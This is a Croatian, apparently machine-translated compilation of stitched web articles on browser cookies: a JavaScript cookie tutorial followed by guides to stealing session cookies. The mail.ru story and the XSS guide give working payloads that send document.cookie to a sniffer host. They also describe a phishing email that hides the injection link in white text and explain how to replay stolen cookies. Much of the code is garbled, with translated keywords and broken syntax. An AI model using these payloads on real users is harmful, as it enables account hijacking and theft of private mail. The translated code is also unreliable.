Metode za krađu kolačića. Kako izvući lozinku iz kolačića Čemu oni služe?


JavaScript omogućuje postavljanje i čitanje kolačića u pregledniku. U ovoj lekciji ćemo pogledati kako raditi s kolačićima, a također ćemo napraviti jednostavnu stranicu koja će zapamtiti uneseno ime i prikazati ga svaki put kada se prijavite.

Što su kolačići?

Kolačići su mala količina podataka koje pohranjuje web preglednik. Omogućuju vam da pohranite određene informacije o korisniku i dohvatite ih svaki put kada posjeti vašu stranicu. Svaki korisnik ima svoj jedinstveni skup kolačića.

Web poslužitelj obično koristi kolačiće za obavljanje funkcija kao što su praćenje posjeta stranicama, registracija na stranicama i pohranjivanje informacija o narudžbama ili kupnjama. Međutim, ne moramo izmisliti program web poslužitelja za korištenje kolačića. Možemo ih koristiti pomoću JavaScripta.

Svojstvo document.cookie.

U JavaScriptu se kolačićima pristupa pomoću svojstva kolačića objekta dokumenta. Kolačiće možete izraditi na sljedeći način:

I nabavite cijeli spremljeni skup kolačića ovako:

Var x = document.cookie;

Pogledajmo detaljnije spremanje i dohvaćanje kolačića.

Spremanje kolačića

Da bismo spremili kolačić, moramo dodijeliti document.cookie tekstualnom nizu koji sadrži svojstva kolačića koji želimo stvoriti:

document.cookie = " ime = vrijednost; ističe = datum; put = put; domena = domena; sigurno";

Svojstva su opisana u tablici:

Primjer opisa svojstva
ime = vrijednost Postavlja naziv kolačića i njegovu vrijednost. korisničko ime=Vasya
ističe= datum Postavlja datum isteka za kolačiće. Datum mora biti u formatu koji vraća metoda toGMTString() objekta Date. Ako expires nije navedeno, kolačić će se izbrisati kada se preglednik zatvori. ističe=
13/06/2003 00:00:00
put= put Ova opcija postavlja putanju na stranici unutar koje je kolačić valjan. Samo dokumenti s navedene staze mogu dohvatiti vrijednost kolačića. Obično se ovo svojstvo ostavi prazno, što znači da mu može pristupiti samo dokument koji je postavio kolačić. put=/demo/
domena=domena Ova opcija postavlja domenu unutar koje kolačić radi. Samo web stranice s navedene domene mogu primiti vrijednost kolačića. Obično se ovo svojstvo ostavi prazno, što znači da mu može pristupiti samo domena koja je postavila kolačić. domena=web stranica
siguran Ova opcija govori pregledniku da koristi SSL za slanje kolačića na poslužitelj. Vrlo rijetko korišten. siguran

Pogledajmo primjer postavljanja kolačića:

document.cookie = "korisničko ime=Vasya; ističe=02/15/2011 00:00:00";

Ovaj kod postavlja kolačić korisničkog imena i dodjeljuje mu vrijednost "Vasya", koja će biti pohranjena do 15. veljače 2011. (koristi se europski format vremena!).

var cookie_date = novi datum(2003, 01, 15); document.cookie = "korisničko ime=Vasya; expires=" + cookie_date.toGMTString();

Ovaj kod radi potpuno istu stvar kao prethodni primjer, ali koristi metodu Date.toGMTString() za postavljanje datuma. Imajte na umu da numeriranje mjeseci u objektu Datum počinje od 0, odnosno veljača je 01.

Document.cookie = "logged_in=yes";

Ovaj kod postavlja kolačić logged_in i postavlja ga na "yes". Budući da atribut expires nije postavljen, kolačić će se izbrisati kada se preglednik zatvori.

var cookie_date = novi datum(); // Trenutačni datum i vrijeme cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; expires=" + cookie_date.toGMTString();

Ovaj kod postavlja kolačić logged_in i postavlja niz za pohranu na vrijeme jednu sekundu prije trenutnog vremena - ova operacija će odmah izbrisati kolačić. Ručni način brisanja kolačića!

Prekodiranje vrijednosti kolačića!

Vrijednost kolačića treba ponovno kodirati za ispravno pohranjivanje i prikaz znakova kao što su razmak i dvotočka. Ova operacija osigurava da preglednik ispravno tumači vrijednost. Lego kodiranje izvodi JavaScript funkcija escape(). Na primjer:

document.cookie = "username=" + escape("Vasya Pupkin") + "; expires=02/15/2003 00:00:00"; Funkcija za postavljanje kolačića

Postavljanje kolačića bit će lakše ako napišemo posebnu funkciju koja će izvoditi jednostavne operacije kao što su kodiranje vrijednosti i konstruiranje niza document.cookie. Na primjer:

Funkcija set_cookie (ime, vrijednost, exp_y, exp_m, exp_d, put, domena, sigurno) ( var cookie_string = name + "=" + escape (vrijednost); if (exp_y) ( var expires = novi datum (exp_y, exp_m, exp_d) ); cookie_string += "; expires= "; domain=" + escape (domena); if (sigurno) cookie_string += "; secure"; dokument.cookie = cookie_string )

Funkcija uzima podatke kolačića kao argumente, zatim gradi odgovarajući niz i postavlja kolačić.

Na primjer, postavljanje kolačića bez datuma isteka:

set_cookie("korisničko ime", "Vasya Pupkin"); set_cookie ("korisničko ime", "Vasya Pupkin", 2011, 01, 15);

Postavljanje kolačića s razdobljem pohrane, domenom stranice, korištenjem SSL-a, ali bez putanje:

set_cookie ("korisničko ime", "Vasya Pupkin", 2003, 01, 15, "", "site", "sigurno"); Funkcija za brisanje kolačića.

Još jedna korisna funkcija za rad s kolačićima predstavljena je u nastavku. Funkcija "briše" kolačiće iz preglednika postavljanjem datuma isteka na jednu sekundu ranije od trenutne vremenske vrijednosti.

funkcija delete_cookie (cookie_name) ( var cookie_date = new Date (); // Trenutni datum i vrijeme cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = cookie_name += "=; expires=" + cookie_date.toGMTString ();

Da biste koristili ovu funkciju, trebate joj samo proslijediti naziv kolačića koji želite izbrisati:

Delete_cookie("korisničko ime");

Dobivanje vrijednosti kolačića

Kako biste dobili vrijednost unaprijed postavljenog kolačića za trenutni dokument, trebate koristiti svojstvo document.cookie:

Var x = document.cookie;

Ovo vraća niz koji se sastoji od popisa parova ime/vrijednost odvojenih točkom i zarezom za svatko kolačiće koji vrijede za trenutni dokument. Na primjer:

"korisničko ime=Vasya; lozinka=abc123"

U ovom primjeru postoje 2 unaprijed postavljena kolačića: korisničko ime koje ima vrijednost "Vasya" i lozinka koja ima vrijednost "abc123".

Funkcija za dobivanje vrijednosti kolačića

Obično nam je potrebna samo vrijednost jednog kolačića odjednom. Stoga niz kolačića nije prikladan za korištenje! Evo funkcije koja obrađuje niz document.cookies, vraćajući samo kolačiće koji su od interesa u određenom trenutku:

Funkcija get_cookie (cookie_name) ( var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (results) return (unescape) (rezultati)); else return null)

Ova funkcija koristi regularni izraz za pronalaženje naziva kolačića koji je od interesa, a zatim vraća vrijednost koju obrađuje funkcija unescape() kako bi je ponovno kodirala u normalan oblik znakova. (Ako kolačić nije pronađen, vraća se null.)

Ova značajka je jednostavna za korištenje. Na primjer, da vratite vrijednost kolačića korisničkog imena:

Var x = get_cookie("korisničko ime");

Jednostavan primjer korištenja

U ovom smo primjeru napravili stranicu koja traži vaše ime pri prvom posjetu, zatim sprema vaše ime u kolačić i prikazuje ga pri sljedećim posjetima.

Otvorite stranicu u novom prozoru. Prilikom prve posjete tražit će od vas da unesete svoje ime i spremite ga u kolačić. Ako ponovno posjetite stranicu, na zaslonu će se prikazati naziv kolačića koji ste unijeli.

Za kolačiće smo postavili razdoblje zadržavanja na 1 godinu od trenutnog datuma, to znači da će preglednik spremiti vaše ime čak i ako ga zatvorite.

Kôd stranice možete vidjeti u svom pregledniku odabirom opcije Prikaži izvorni kod. Evo glavnog dijela koda:

if (! get_cookie ("korisničko ime")) ( var korisničko ime = prompt ("Molimo unesite svoje ime", ""); if (korisničko ime) ( var current_date = novi datum; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth(); var cookie_day = current_date.getDate(); set_cookie("username", cookie_year, cookie_month, cookie_day) else( var username = get_cookie("username"); document.write ("Zdravo" , " + korisničko ime + ", dobro došli na stranicu!"); document.write("
Zaboravi na mene!"); }

Ova vam je lekcija pokazala kako koristiti kolačiće u JavaScriptu za pohranu podataka o vašim posjetiteljima. Hvala na pozornosti! :)

U kojem je predloženo prisustvovanje besplatnom događaju posvećenom pitanjima informacijske sigurnosti. Budući da se događaj održavao u mom gradu, odlučio sam da svakako moram otići tamo. Prva lekcija bila je posvećena ranjivostima na web stranicama kao što je XSS. Nakon lekcije odlučio sam da trebam učvrstiti stečeno znanje u stvarnim uvjetima. Izabrao sam nekoliko stranica koje se odnose na moj grad i počeo pokušavati umetnuti svoju skriptu u sve forme. U većini slučajeva skripta je filtrirana. No dogodilo se da se “uzbuna” aktivirala i pojavila se moja poruka. Pronađenu ranjivost prijavio sam administratorima i oni su brzo sve popravili.

Jednog od ovih dana, dok sam provjeravao najnoviju poštu na mail.ru, za oko mi je zapeo obrazac za pretraživanje pisama u poštanskom sandučiću. Povremeno sam koristio ovu pretragu da nađem nešto što mi treba u hrpi mojih starih pisama. Pa kako sam zadnjih par dana svoje “upozorenje” ubacio gotovo svugdje gdje sam mogao, ruka mi je refleksno posegnula za ovom tražilicom. Upisao sam kod svoje skripte i pritisnuo Enter. Zamislite moje iznenađenje kada sam na ekranu ugledao bolno poznatu poruku...


Na predavanju Open InfoSec Days, govornik je rekao da su programeri prilično skeptični prema ranjivostima ove vrste, rekavši “uzbuna? Pa što onda? Ovo nije opasno". Ako sam na drugim stranicama bio zadovoljan samo ovim prozorom sa svojom porukom, onda sam u ovom slučaju odlučio ići dalje i pokazati što može proizaći iz takve "uzbune".

Dakle, skripta radi, što znači da postoji ranjivost. Stoga možete pokušati pokrenuti neku drugu skriptu. Na primjer, skripta koja nam šalje kolačiće drugog korisnika. Da bi skripta radila, moramo prisiliti korisnika da izvrši našu skriptu. To možete učiniti tako da mu pošaljete pismo s odgovarajućom poveznicom, nakon što kliknete na koju će se pretražiti poštanski sandučić i izvršiti kod koji nam je potreban.

Bilo je potrebno neko vrijeme i mnogo eksperimentiranja da se shvati mehanizam ranjivosti. Ponekad je scenarij radio, ponekad je bio filtriran. Nakon malo truda, empirijski je utvrđeno da skripta radi 100% samo ako traženje slova daje pozitivan rezultat. Odnosno, kada korisnik vrši pretragu našom skriptom, potrebno je da se barem jedno slovo u njegovom sandučiću nađe prema zadanim parametrima. Nije teško to organizirati.

Također, umjesto "upozorenja", potrebna nam je skripta koja će prenijeti kolačiće našem njuškalu. Ovu skriptu ćemo napisati u zasebnu datoteku i učitati je u našu pretragu. Napravio sam datoteku test.js s potrebnim kodom i postavio je na hosting. Kod skripte je ovakav:

Img=nova slika();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
funkcija F() (
lokacija="http://www.solife.ru";
}
setTimeout(F, 5000);

Ono što bih ovdje htio razjasniti. Stavimo se na mjesto napadača. Potrebno je da korisnik klikne na poveznicu. Kako ga mogu natjerati na to? Možete obećati planine zlata, a da biste ih primili morate slijediti našu poveznicu na stranicu. Ali mislim da neće uspjeti. Ljudi više ne padaju na to (i sama stalno brišem takva pisma, a da ih nisam ni pročitala). Stoga ćemo igrati na ljudsko sažaljenje, jer ono ipak postoji u prirodi. Molimo vas da glasate na stranici za spašavanje ugroženih životinja. Prvo ćemo uzeti kolačiće, a zatim ćemo preusmjeriti korisnika na stranicu za glasovanje. Vrijeme čekanja za preusmjeravanje postavljeno je na 5 sekundi, inače kolačići jednostavno nisu imali vremena prenijeti se na njuškalo, a korisnik je odmah preusmjeren na stranicu o životinjama. Umjesto "upozorenja" koristio sam sljedeću skriptu:

Kad sam završio sa scenarijima, počeo sam pisati pismo. Smislio sam nešto poput ovoga:


Ispalo je dosta cinično, ali pokušao sam uvjete što više približiti stvarnosti. Na kraju pisma nalazi se red sa skriptom, to je zato da naše pismo bude pronađeno kada izvršimo pretragu. Kako linija ne bi izazivala nepotrebna pitanja, obojio sam je u bijelo. Također sam stavio razmak u riječ “http” kako string ne bi bio prepoznat i konvertiran u link. U suprotnom, unatoč činjenici da je redak skripte napisan bijelim fontom, poveznica bi bila označena plavom bojom od strane primatelja, a to nam ne treba. Pametno pretraživanje će i dalje pronaći i prepoznati ovaj niz, unatoč razmacima.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Koristio sam URL kodiranje za skriptu tako da ništa nije filtrirano. Dodao sam i parametar “q_folder=0” za pretragu, tako da se pretraga odvija u mapi “Inbox”.

Pismo je spremno, šaljemo ga. Koristio sam svoj drugi poštanski sandučić na istoj usluzi kao i primatelj. Da vidimo što je došlo u drugu kutiju.

Naš tekst skripte nije vidljiv jer se stapa s pozadinom. Kliknimo na poveznicu i vidimo što će se dogoditi. Korisnik se premješta na rezultate pretraživanja e-pošte na temelju parametra koji smo naveli. Naše pismo koje smo poslali vidljivo je u rezultatima pretraživanja. U ovom trenutku naša je skripta već radila i poslala kolačiće korisnika njuškalu. Nakon 5 sekundi (vrijeme ovisi o postavkama skripte), korisnik se preusmjerava na mjesto za glasovanje.

Provjeravam datoteku sniff.txt:

Budući da moj cilj nije ukrasti tuđe kutije ili doći do njih, ovdje ću završiti priču. Ali teoretski, svoje kolačiće možete zamijeniti tuđima i dobiti pristup tuđem poštanskom sandučiću. Općenito, ako je napadač zainteresiran za metu, pronaći će namjenu za primljene informacije.

Želio bih zahvaliti Sergeju Belovu (

Moj prijatelj je zaboravio lozinku za jednu stranicu. Međutim, prethodno je označio potvrdni okvir "Zapamti me" u pregledniku Google Chrome prilikom prijave, što mu je omogućilo pristup stranici pod njegovim računom. Dobio sam pitanje da li je moguće ovo čarobno stanje prenijeti na drugo računalo. Bilo bi ispravnije, naravno, promijeniti ili vratiti lozinku, ali moj prijatelj to nije mogao učiniti iz razloga koji nisu povezani sa slučajem.

Kako koristiti intercepter-ng za lutke

Unatoč raznolikosti modernog softvera za odabir, teško je pronaći bolje programe za hakiranje za Android od interceptera. Prvi kriterij koji govori u korist ovog proizvoda je njegova stvarna izvedba. Većina njuškala ponuđenih na mreži samo su imitacije koje ne obavljaju svoje navedene funkcije.

Sljedeći pozitivni čimbenici su svestranost primjene i pokrivenost široke publike korisnika.

Računalna pomoć 939-29-71

Krenimo redom. Kolačići ili "kolačići" su vrlo male tekstualne datoteke - oznake s informacijama.

Web-poslužitelj prenosi te informacije u preglednik korisnika. gdje se ti podaci pohranjuju dok se ne zatraže. Nije sasvim jasno. Dobro. Fino.

Pokušat ću to učiniti još jednostavnijim. Izgled. ste se registrirali na bilo kojoj web stranici.

U trenutku registracije stvaraju se ti isti "kolačići".

To su oni.

Cookie Cadger

Program sluša promet na WiFi mreži, presreće kolačiće i replicira sesiju korisnika u vašem pregledniku, ponavljajući zahtjeve s njegovim vjerodajnicama. Autor Matthew Sullivan održao je prezentaciju programa 30. rujna na hakerskoj konferenciji Derbycon. Upravo tijekom govora, Matthew Sullivan presreo je nezaštićenu sesiju s Googleom jednog od posjetitelja konferencije putem WiFi-a.

Kako ukrasti kolačiće

Ako, dok ste na web stranici, unesete sljedeći tekst u adresnu traku preglednika Firefox ili Opera: javasript:document.write(document.cookie); tada ćete vidjeti nešto poput: remixAdminsBar=0; remixGroupType=0; remixpass=********************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=********; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Pažnja! .

Potpuni vodič za skriptiranje na različitim mjestima

XSS je vrsta softverske ranjivosti koja je izvorna za web aplikacije koja napadaču omogućuje ubacivanje skripte na strani klijenta u web stranice koje gledaju drugi korisnici. Wikipedia definira XSS na sljedeći način: “Cross-site scripting (XSS) je vrsta izvorne softverske ranjivosti. na web.-aplikacije (zaobilazeći sigurnosna ograničenja preglednika)”, što napadaču omogućuje ubacivanje klijentske skripte u web stranice koje gledaju drugi korisnici.

Razlika između kolačića i sesija

Nedavno sam napisao članak o tome kako registrirati i autorizirati korisnike na web stranici.

". U ovom ću članku raščlaniti razliku između sesija i kolačića. tako da konačno možete napraviti svoj izbor.

Kolačići. Ne, uopće se ne radi o kolačićima, već o vašoj sigurnosti. Dakle, odete na svoju omiljenu stranicu "vkontakte" (ili, na primjer, pogledate poštu) na tuđem računalu, odbijete opciju "spremi lozinku", sretno pregledate poštu i odete. I nemojte razmišljati o činjenici da se sada možete prijaviti na društvenu mrežu ili poslati e-poštu pod svojim imenom.

Čak i ne razmatram situaciju s programom koji pamti lozinku bez vašeg znanja. Ovo je već namjerno hakiranje, a vjerojatno ćete posumnjati da bi se tako nešto moglo dogoditi i nećete na takvom računalu otići na svoju omiljenu stranicu. Ali možemo govoriti o jednostavnoj ljudskoj znatiželji - bili ste u posjetu prijateljima, a onda odjednom oni dobiju priliku čitati vašu poštu. Jeste li sigurni da će odbiti ovu priliku? Zar se ne bojite da će nešto isplivati? U svakom slučaju, ostavit ću po strani pitanja morala i govoriti samo o tome kako se na računalu pohranjuju informacije da vas sada možete pustiti na neku stranicu bez traženja lozinke.

kako ukrasti Cookie

A ime ove tehnologije su kolačići.

I tu je sve počelo. http protokol, preko kojeg zapravo gledate stranice (uključujući i ovu), u početku nije predviđao mogućnost održavanja veze. To jest, grubo govoreći, pošaljete zahtjev web mjestu, dobijete odgovor, on se prikaže na ekranu, a zatim poslužitelj ne pamti ništa o vama. Ovo je, naravno, dobro kada je stranica čisto informativna i ne bi trebala pamtiti ništa o vama, ali živimo u doba Weba 2.0 😉 Prirodni razvoj protokola su POST i GET zahtjevi, kada pošaljete neke podatke, poslužitelj to može zapisati u podatke baze podataka, ali to nije dovoljno.

Pogledajmo vrlo jednostavan primjer. Forum. Dakle registrirali ste se, a na forumu postoji post da postoji taj i taj korisnik s tom i tom lozinkom i još nekim dodatnim podacima. Ali sada odite na forum i prijavite se - unesite svoju lozinku. Negdje bi trebala biti informacija da ste prijavljeni. Na poslužitelju? Naravno da ne! Nemoguće je na poslužitelju pohraniti informaciju da je autorizacija napravljena s vašeg računala - neće vas moći razlikovati od nekog drugog (čak vas vaša IP adresa ne identificira jedinstveno)! Dakle, informacija da je došlo do autorizacije mora biti pohranjena na vašem računalu. Tome služe kolačići, za to su stvoreni.

Kolačić je mali zapis na Vašem računalu koji pohranjuje informacije o stranici koju ste posjetili. Kada se prijavite, kreira se sličan unos, nakon čega možete hodati po forumu, a on će vas prepoznati. Međutim, to će se već dogoditi automatski - zahvaljujući informacijama pohranjenim u kolačiću - tako da pretvaranje da ste glavni administrator foruma i dalje neće funkcionirati zaobilazeći provjeru lozinke.

Sada se možemo vratiti tamo gdje je ovaj članak započeo. Ako ste se negdje prijavili čak i bez da ste spremili lozinku, može se dogoditi da je na računalu stvoren unos koji vam sada omogućuje neovlašteni pristup ovom resursu pod vašim imenom. Sam će takav unos zastarjeti nakon nekog vremena, ali ga možete prisilno izbrisati. Svaki preglednik to radi drugačije, pokazat ću vam kako se to može učiniti u mom omiljenom pregledniku Google Chrome. Otvaranje parametara

Idite na karticu "napredno" i pronađite gumb "prikaži kolačiće".

Sada, naravno, možete izbrisati sve kolačiće, ali to može uznemiriti vlasnika računala. Stoga, na primjer, u gornjem polju možete unijeti naziv stranice koja vas zanima

Tada možete izbrisati samo kolačiće koji se odnose na ovu stranicu. Možete ga isprobati na mom. Međutim, ako se prijavite na moj forum i zatim izbrišete svoje kolačiće, podaci za prijavu bit će zaboravljeni. Probaj!

komentari koje pokreće

1. Što je XSS?
XSS ranjivost omogućuje umetanje proizvoljnog javascript koda u tijelo stranice. XSS napad razlikuje se od ostalih (na primjer, SQL injection ili PHP injection) po tome što utječe na klijenta, a ne na poslužitelj.

kako ukrasti kolačiće

Uz njegovu pomoć ne možete vidjeti tablice baze podataka, učitati ljusku itd. Najčešća upotreba XSS-a je krađa kolačića.
Kolačići su mali dio podataka koji kreira web poslužitelj i pohranjuje se na računalu korisnika kao datoteka. Obično se kolačići koriste za pohranjivanje računa, a najčešće sadrže šifriranu lozinku, prijavu i ID sesije (iako ne uvijek)
XSS postoji u dvije vrste, aktivni i pasivni.

Pasivni XSS zahtijeva izravnu interakciju žrtve, kao što je klik na poveznicu koja sadrži javascript kod. Kada koristite ovu vrstu XSS-a, ne možete bez SI (Social Engineering)

Aktivni XSS ne zahtijeva nikakvo sudjelovanje žrtve; sve što treba učiniti je posjetiti stranicu koja sadrži XSS. Aktivni XSS može biti npr. u porukama na forumima, chatovima, dodavanju vijesti itd.

2. Potražite XSS
U ovom odlomku ću vam reći kako pronaći xss

2.1.Pasivni XSS
Da biste pronašli pasivni XSS, samo zamijenite alert('xss') u obrazac za unos, ako je skripta radila i pojavi se poruka "xss", tada je ranjivost prisutna, ako skripta nije radila, također možete pokušati ">alert (), ovo je vjerojatno najčešća xss ranjivost. Ako ni jedna ni druga skripta nisu radile, onda najvjerojatnije nema ranjivosti.
Pogledajmo primjer.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Vidite li obrazac za "traži"? umetnite ">alert()" tamo i kliknite "nađi"
Pojavljuje se prozor s xss, što znači da je xss prisutan (možda će do trenutka kada pročitate ovaj članak, ovaj xss već biti uklonjen).

2.2.Aktivni XSS
Takav css može biti npr. u poljima profila, prilikom dodavanja vijesti u naslovu vijesti i u samoj vijesti (rjeđe), u porukama na forumima/chat sobama/sobama za goste s uključenim html-om. Ovdje je sve jednostavno, u polja unosimo skriptu iz prethodnog podstavka, a ako se poruka prikaže na ekranu, ranjivost je prisutna.
Pogledajmo xss u BB oznakama na forumima.
Možete pokušati jednostavno umetnuti javascript kod u oznaku, na primjer ovako:
javascript:upozorenje('xss')
Neke oznake imaju parametre, na primjer oznaka ima dynsrc i lowsrc parametre, pokušajmo zamijeniti kod ovako:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
Ako je skripta radila, xss je tu

3. Korištenje XSS-a za krađu kolačića
Sada najukusnije))))
Da bismo ukrali kolačiće, potreban nam je web sniffer, možete instalirati neku vrstu sniffera na svoj hosting ili možete koristiti online sniffer, kojih sada ima dosta.
Da bi ukrala kolačiće putem pasivnog XSS-a, žrtva mora slijediti otrovnu vezu. Za krađu kolačića koristit ćemo drugu skriptu umjesto alert('xss'):
img = nova slika();


zamijenimo skriptu u link i pustimo žrtvu da je prati, pogleda sniffer log i raduje se.
Pogledajmo primjer.
Uzmimo onaj XSS na Rambleru iz prethodnog paragrafa.
Umećemo
">
img = nova slika();
img.src = "adresa slike njuškala"+document.cookie;

u obrascu za pretraživanje kliknite "pronađi", pogledajte adresnu traku i pogledajte:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Šaljemo ovu poveznicu žrtvi i uživamo u kolačićima.
Vidjevši takvu vezu, žrtva može nešto posumnjati, pa je preporučljivo kodirati
">img = nova slika();img.src = "adresa slike sniffera"+document.cookie;
u URL-u Ili koristite usluge poput http://tinyurl.com/
Prijeđimo na aktivni XSS, ovdje je sve jednostavno, umjesto alert() ubacujemo img = new Image();img.src = "adresa sniffer slike"+document.cookie;

Sada imamo kolačiće. Ali što učiniti s njima? Jednostavno je, trebate ih zamijeniti umjesto svojih. Opera preglednik ima ugrađeni uređivač kolačića (alati->napredno->upravljanje kolačićima), postoji dodatak za Firefox (ne sjećam se kako se zove, koristite Google)
To je sve za sada, možda će članak biti dopunjen

Opera otvorite glavni izbornik, idite na odjeljak "Postavke" i odaberite redak "Opće postavke...". Ili možete jednostavno pritisnuti prečace CTRL + F12. Ovo će otvoriti prozor postavki preglednika, gdje na kartici "Napredno" morate kliknuti na odjeljak "Kolačići" na lijevoj ploči. U njemu morate kliknuti gumb "Upravljanje kolačićima".

U Mozilla FireFox otvorite odjeljak "Alati" u izborniku i odaberite "Postavke". U prozoru s postavkama morate otići na karticu "Privatnost", tamo pronaći gumb "Prikaži kolačiće..." i kliknuti ga za pristup popisu kolačića koje preglednik sprema. Ovdje ih možete pretraživati ​​i pregledavati.

U Internet Exploreru proširite odjeljak "Alati" u izborniku i odaberite "Svojstva". U prozoru postavki svojstava idite na karticu "Općenito" i kliknite gumb "Opcije" u odjeljku "Povijest pregledavanja". Na taj način otvorit ćete još jedan prozor (“Temporary Files Options”), u kojem trebate kliknuti gumb “Show Files”.

Kliknite naslov "Naziv" na popisu sadržaja mape za pohranu privremenih datoteka programa Internet Explorer koja se otvori - na taj način možete grupirati sve datoteke kolačića u jedan blok u zajedničkoj hrpi heterogenih datoteka. Ovdje možete pronaći datoteku koja vas zanima i otvoriti je u standardnom Notepadu za pregled ili uređivanje.

U pregledniku Google Chrome kliknite ikonu francuskog ključa u gornjem desnom kutu prozora i odaberite Opcije iz izbornika. Preglednik će otvoriti stranicu "Postavke", a vi kliknite vezu "Napredno" na njegovoj lijevoj ploči i na stranici naprednih postavki kliknite gumb "Postavke sadržaja". Ovo nije posljednja stranica na putu do kolačića koje ovaj preglednik sprema.

Pritisnite gumb "Svi kolačići i podaci o web-mjestu" na sljedećoj stranici i konačno ćete imati pristup popisu kolačića.

Google Chrome pruža mogućnost pretraživanja, pregleda i brisanja kolačića.

U pregledniku Safari kliknite ikonu zupčanika u gornjem desnom kutu i odaberite "Postavke...". U prozoru za promjenu postavki morate otići na karticu "Sigurnost" i tamo kliknuti gumb "Prikaži kolačiće". Safari nudi samo funkcije za pretraživanje i brisanje kolačića; sadržaj ovih privremenih datoteka može se vidjeti samo djelomično.

Kolačići- informacije u obliku tekstualne datoteke koju web stranica sprema na računalo korisnika. Sadrži podatke za autentifikaciju (prijava/lozinka, ID, telefonski broj, adresa poštanskog sandučića), korisničke postavke, status pristupa. Pohranjeno u profilu preglednika.

Hakiranje kolačića je krađa (ili "otimanje") sesije posjetitelja web izvora. Privatne informacije postaju dostupne ne samo pošiljatelju i primatelju, već i trećoj strani - osobi koja je izvršila presretanje.

Alati i tehnike za hakiranje kolačića

Kradljivci računala, kao i njihovi kolege u stvarnom životu, osim vještina, spretnosti i znanja, naravno, imaju i svoj alat - svojevrsni arsenal majstorskih ključeva i sondi. Pogledajmo najpopularnije trikove koje hakeri koriste za izvlačenje kolačića od korisnika interneta.

Njuškala

Posebni programi za praćenje i analizu mrežnog prometa. Ime im dolazi od engleskog glagola “sniff” (njuškati), jer. doslovno "njušiti" poslane pakete između čvorova.

Ali napadači koriste njuškalo za presretanje podataka sesije, poruka i drugih povjerljivih informacija. Mete njihovih napada su uglavnom nezaštićene mreže, gdje se kolačići šalju u otvorenoj HTTP sesiji, odnosno praktički nisu kriptirani. (Javni Wi-Fi je najranjiviji u tom smislu.)

Za ugradnju sniffera u internetski kanal između korisničkog čvora i web poslužitelja koriste se sljedeće metode:

  • “slušanje” mrežnih sučelja (hubova, preklopnika);
  • grananje i kopiranje prometa;
  • spajanje na jaz mrežnog kanala;
  • analiza putem posebnih napada koji preusmjeravaju promet žrtve na njuškalo (MAC-spoofing, IP-spoofing).

Kratica XSS je kratica za Cross Site Scripting. Koristi se za napad na web stranice kako bi se ukrali korisnički podaci.

Princip XSS-a je sljedeći:

  • napadač ubacuje zlonamjerni kod (posebnu prikrivenu skriptu) na web stranicu web stranice, forum ili u poruku (primjerice, prilikom dopisivanja na društvenoj mreži);
  • žrtva odlazi na zaraženu stranicu i aktivira instalirani kod na svom računalu (klikne, slijedi poveznicu itd.);
  • zauzvrat, izvršeni zlonamjerni kod "izvlači" korisnikove povjerljive podatke iz preglednika (osobito kolačiće) i šalje ih web poslužitelju napadača.

Kako bi "usadili" softverski XSS mehanizam, hakeri koriste sve vrste ranjivosti u web poslužiteljima, online uslugama i preglednicima.

Sve XSS ranjivosti dijele se u dvije vrste:

  • Pasivno. Napad se postiže traženjem određene skripte na web stranici. Zlonamjerni kôd može se ubaciti u različite oblike na web-stranici (na primjer, u traku za pretraživanje web-mjesta). Najosjetljiviji na pasivni XSS su resursi koji ne filtriraju HTML oznake kada podaci stignu;
  • Aktivan. Nalazi se izravno na poslužitelju. I aktiviraju se u pregledniku žrtve. Aktivno ih koriste prevaranti u svim vrstama blogova, chatova i feedova vijesti.

Hakeri pažljivo "kamufliraju" svoje XSS skripte kako žrtva ne bi ništa posumnjala. Mijenjaju ekstenziju datoteke, prenose kod kao sliku, motiviraju ih da slijede link i privlače ih zanimljivim sadržajem. Kao rezultat: korisnik osobnog računala, nesposoban kontrolirati vlastitu znatiželju, vlastitom rukom (klikom miša) šalje kolačiće sesije (s prijavom i lozinkom!) autoru XSS skripte - računalnom zlikovcu.

Zamjena kolačića

Svi se kolačići spremaju i šalju web poslužitelju (s kojeg su “došli”) bez ikakvih promjena – u izvornom obliku – s istim vrijednostima, nizovima i drugim podacima. Namjerna izmjena njihovih parametara naziva se zamjena kolačića. Drugim riječima, prilikom zamjene kolačića, napadač se pretvara da je pusta želja. Na primjer, prilikom plaćanja u online trgovini, kolačić mijenja iznos uplate prema dolje - tako dolazi do "štede" na kupnji.

Ukradeni kolačići sesije na društvenoj mreži s tuđeg računa "ubacuju se" u drugu sesiju i na drugo računalo. Vlasnik ukradenih kolačića dobiva puni pristup žrtvinom računu (prepiska, sadržaj, postavke stranice) sve dok je ona na svojoj stranici.

“Uređivanje” kolačića provodi se pomoću:

  • Funkcije “Upravljanje kolačićima...” u pregledniku Opera;
  • Dodaci za upravljanje kolačićima i napredni upravitelj kolačića za FireFox;
  • IECookiesView pomoćni programi (samo Internet Explorer);
  • uređivač teksta kao što je AkelPad, NotePad ili Windows Notepad.
Fizički pristup podacima

Vrlo jednostavna shema implementacije, koja se sastoji od nekoliko koraka. Ali djelotvorno je samo ako je žrtvino računalo s otvorenom sesijom, na primjer VKontakte, ostavljeno bez nadzora (i to dugo!):

  • Funkcija javascripta unosi se u adresnu traku preglednika za prikaz svih spremljenih kolačića.
  • Nakon pritiska na “ENTER” svi se pojavljuju na stranici.
  • Kolačići se kopiraju, spremaju u datoteku, a zatim prenose na flash disk.
  • Na drugom računalu kolačići se zamjenjuju u novoj sesiji.
  • Pristup žrtvinom računu je odobren.
  • U pravilu, hakeri koriste gore navedene alate (+ druge) u kombinaciji (budući da je razina zaštite na mnogim web resursima prilično visoka) i zasebno (kada su korisnici pretjerano naivni).

    XSS + njuškalo
